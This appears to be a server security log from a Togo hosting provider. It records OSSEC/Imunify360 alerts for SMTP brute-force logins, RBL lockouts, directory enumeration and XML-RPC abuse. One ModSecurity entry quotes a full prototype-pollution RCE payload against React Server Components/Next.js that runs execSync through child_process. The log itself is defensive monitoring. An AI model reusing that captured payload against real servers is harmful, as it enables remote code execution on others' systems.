205.169.39.24 - - [13/Jun/2026:07:20:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6395293&pdata=http%253A%252F%252Fc2ie.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781335225 HTTP/1.1" 302 0 c2ie.tg "http://c2ie.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.24


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:20:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:34122: 535 Incorrect authentication data (set_id=mimi@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:21:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:52912: 535 Incorrect authentication data (set_id=chan@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:21:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:33528: 535 Incorrect authentication data (set_id=ubnt@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:21:24 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:21:26 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:50522: 535 Incorrect authentication data (set_id=nextgen@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:21:55 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:29462: 535 Incorrect authentication data (set_id=kumm@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:21:18 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:21:18 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:22:22 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:22:22 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:44824: 535 Incorrect authentication data (set_id=valley@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:22:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:25328: 535 Incorrect authentication data (set_id=vpnadmin@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:22:30 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:22:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:42426: 535 Incorrect authentication data (set_id=md-93@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.210.147.41
country_id: 1819730
description:
Jun 13 07:22:34 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.210.147.41 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:22:20 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:23:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:17136: 535 Incorrect authentication data (set_id=yschoi@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:23:31 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:23:23 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:23:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:36416: 535 Incorrect authentication data (set_id=vps10@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:23:28 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:23:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:34274: 535 Incorrect authentication data (set_id=wwwrun@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:24:10 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:12572: 535 Incorrect authentication data (set_id=hire@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:24:16 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:10148: 535 Incorrect authentication data (set_id=chu-tin@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:24:35 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:25910: 535 Incorrect authentication data (set_id=ksm@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:24:21 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:24:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:41732: 535 Incorrect authentication data (set_id=pannello@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:24:28 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:24:33 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 88.82.205.134
country_id: 2510769
description:
Jun 13 07:24:49 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 88.82.205.134 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.198.128.204
country_id: 1835841
description:
Jun 13 07:24:43 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.198.128.204 has been locked due to Imunify RBL


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 43.130.26.57
country_id: 6252001
domain: togodailynews.tg
description:
IM360 WAF: Track upload attempt||MVN:ARGS:page_title||MV:Evala 2025\xc2\xa0: Renforcement de capacit\xc3\xa9s des acteurs de l\xe2\x80\x99h\xc3\xb4tellerie et de restauration \xc3\xa0 Kara||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.61.202.27
country_id: 2510769
description:
Jun 13 07:25:54 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.61.202.27 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:25:29 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:25:15 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:25:21 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: modsec
rule: 77093094
abuser: 16.170.254.245
country_id: 2661886
domain: afrique-distribution.net
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\": \"$1:__proto__:then\", \"status\": \"resolved_model\", \"reason\": -1, \"value\": \"{\\\"then\\\":\\\"$B1337\\\"}\", \"_response\": {\"_prefix\": \"var res=process.mainModule.require('child_process').execSync('echo $((41*271)) | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\", \"_chunks\": \"$Q2\", \"_formData\": {\"get\": \"$1:constructor:constructor\"}}}||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:25:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:33494: 535 Incorrect authentication data (set_id=electron@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:25:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:19326: 535 Incorrect authentication data (set_id=brooklyn@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:25:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:39512: 535 Incorrect authentication data (set_id=en@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:26:11 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:26526: 535 Incorrect authentication data (set_id=you'd@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:26:18 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 16.170.254.245
country_id: 2661886
domain: afrique-distribution.net
description:
IM360 WAF: Bad file extension||RSV:8.15||T:APACHE||MVN:REQUEST_FILENAME||MV:/phpinfo.php.bak||User:sadis||


plugin: modsec
rule: 77142201
name: IM360 WAF: Possible enumeration of sensitive data (dirb)
abuser: 16.170.254.245
country_id: 2661886
domain: afrique-distribution.net
description:
IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||RSV:8.15||T:APACHE||MV:phpinfo.php~||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:26:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:20448: 535 Incorrect authentication data (set_id=media3@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:26:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:25220: 535 Incorrect authentication data (set_id=cgb@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:26:27 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:26:19 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:26:16 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:26:16 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:57676: 535 Incorrect authentication data (set_id=indicadores@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:26:21 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:26:16 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:47944: 535 Incorrect authentication data (set_id=cgb@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:26:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:44616: 535 Incorrect authentication data (set_id=textile@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:26:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:17642: 535 Incorrect authentication data (set_id=you'd@ns5.netmaster.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 62.60.148.90
country_id: 3017382
domain: sia-togo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:Turbolte.sia-togo.tg||ServerName:sia-togo.tg||Method:metaWeblog.newPost||BlogID:0||TitleSHA:5899e64a0e4402ee083651f8aa18fd374f962b5e||Title:350e764943735ab2||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:26:53 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:26:16 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:60426: 535 Incorrect authentication data (set_id=rashid@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:27:18 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:27:19 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:36566: 535 Incorrect authentication data (set_id=vatanabea@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:27:19 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:43812: 535 Incorrect authentication data (set_id=esa@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:27:20 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:27:21 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:27:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:39886: 535 Incorrect authentication data (set_id=origin@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:27:17 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:27:22 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:23166: 535 Incorrect authentication data (set_id=projetos@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:27:24 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:27:26 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:11392: 535 Incorrect authentication data (set_id=subscription@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:27:17 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:27:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:18394: 535 Incorrect authentication data (set_id=number@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:28:24 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:28:26 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:41966: 535 Incorrect authentication data (set_id=bediener@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:28:16 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:28:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:42128: 535 Incorrect authentication data (set_id=invoicing@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:28:16 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:44700: 535 Incorrect authentication data (set_id=00@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:28:21 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:28:22 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:28:16 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:28:16 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:35356: 535 Incorrect authentication data (set_id=specialist@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:28:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:28194: 535 Incorrect authentication data (set_id=invoicing@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:28:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:10332: 535 Incorrect authentication data (set_id=susanne@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:28:16 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:61912: 535 Incorrect authentication data (set_id=aim@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:28:21 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:29:20 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:29:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:19900: 535 Incorrect authentication data (set_id=claims@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:29:22 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:53808: 535 Incorrect authentication data (set_id=olympic@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:29:25 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:29:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:1672: 535 Incorrect authentication data (set_id=theta@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:29:19 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:29:21 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:29:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:58216: 535 Incorrect authentication data (set_id=mason@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:29:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:50060: 535 Incorrect authentication data (set_id=manman@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:29:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:36380: 535 Incorrect authentication data (set_id=jasper@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:29:27 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:29:29 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:30:23 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-13 07:30:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:11732: 535 Incorrect authentication data (set_id=phh@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:30:19 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:30:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:45650: 535 Incorrect authentication data (set_id=ftpserver@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:30:22 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 13 07:30:23 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-13 07:30:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:57306: 535 Incorrect authentication data (set_id=esposito@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:30:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:41782: 535 Incorrect authentication data (set_id=gms@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 13 07:30:30 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.142
country_id: 130758
description:
Jun 13 07:30:22 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.142 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:30:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:28040: 535 Incorrect authentication data (set_id=davinci@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-13 07:30:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:49576: 535 Incorrect authentication data (set_id=wangyan@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
